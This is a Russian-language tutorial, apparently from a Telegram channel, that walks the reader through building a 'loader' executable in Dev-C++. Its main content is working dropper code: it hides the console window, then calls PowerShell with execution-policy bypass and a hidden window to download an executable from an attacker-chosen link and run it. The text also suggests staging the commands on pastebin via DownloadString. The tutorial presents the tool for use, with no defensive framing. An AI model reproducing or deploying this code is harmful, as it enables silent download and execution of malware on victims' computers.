Инструкция
Итак, давайте все разберем по этапу:
1) Нужно загрузить вашу программу на файл-обменник,и чтоб ссылка на скачивание была прямой, т.е перейдя по которой сразу начиналось скачивание.
Примерно так: https://server.com/repo/file.exe
(Лучше изменить https на http)
Я же буду использовать гитхаб в качестве файл-обменника.
2) Установить DevC++(если у вас нету компилятора С++).
Тут показанно как: https://www.kpolyakov.spb.ru/school/c/install.htm
Базовые знания в С++ вам пригодятся.
3)Открываем DevC++ и нажимаем на Ctrl+N(создаем новый файл)
И вставляем туда этот код:
#include<windows.h>
int main(){
FreeConsole();
system("powershell -ep bypass -nop -w 1 (New-Object System.Net.WebClient).DownloadFile('ssilka','name.exe')");
system("powershell -ep bypass -nop -w 1 (New-Object -com Shell.Application).ShellExecute('name.exe')");
}
Скажу сразу, код можно уменьшить в 2 раза, отправив большую часть команды на pastebin, и через DownloadString()
Добиться тех же результатов...
Но это, "тестовый" инструктаж, и конечно же будут обновления кода.
Обясню код, читать обязательно!:
#include<windows.h>
Тут мы подключаем
библиотеку windows.h для работы с system() и функцией FreeConsole()
FreeConsole(); эта команда скрывает черную консоль.
system("") передает команды в командную строку.
И да,передаются powershell команды.
Так как powershell команды выполняются на уровне системы, его любят все пентестеры.
Важно!:
В коде есть вот эта строчка:
DownloadFile('ssilka','name.exe')
Он загружает файл из ссылки и сохраняет его как name.exe
Естественно, вместо ssilka указываем нашу ссылку для скачивания.
И если хотите, name.exe можно поменять на другое имя, и даже вписать путь для сохраниения
Например: C:\name.exe
А если вы изменили то поменяйте название и в этой части кода:
...ShellExecute('C:\name.exe')...
Главное,чтоб эта диеректория уже существовала!
(Я очень надеюсь что вы понимаете меня и все что тут происходит)...
4)И все, нажимаем на F9 сохраняем проект, например loader.cpp и код компилится и создается loader.exe файл рядом с loader.cpp.
(Я думаю вопросов с компиляцией кода вопросов не будет, так как это основы и очень просто.)
И все, если запустить loader.exe то он скачает и запустит файл из той ссылки....
Если будут вопросы,а они точно будут, то заходите на наш чат , на которую можно перейти через наш канал @nicky_server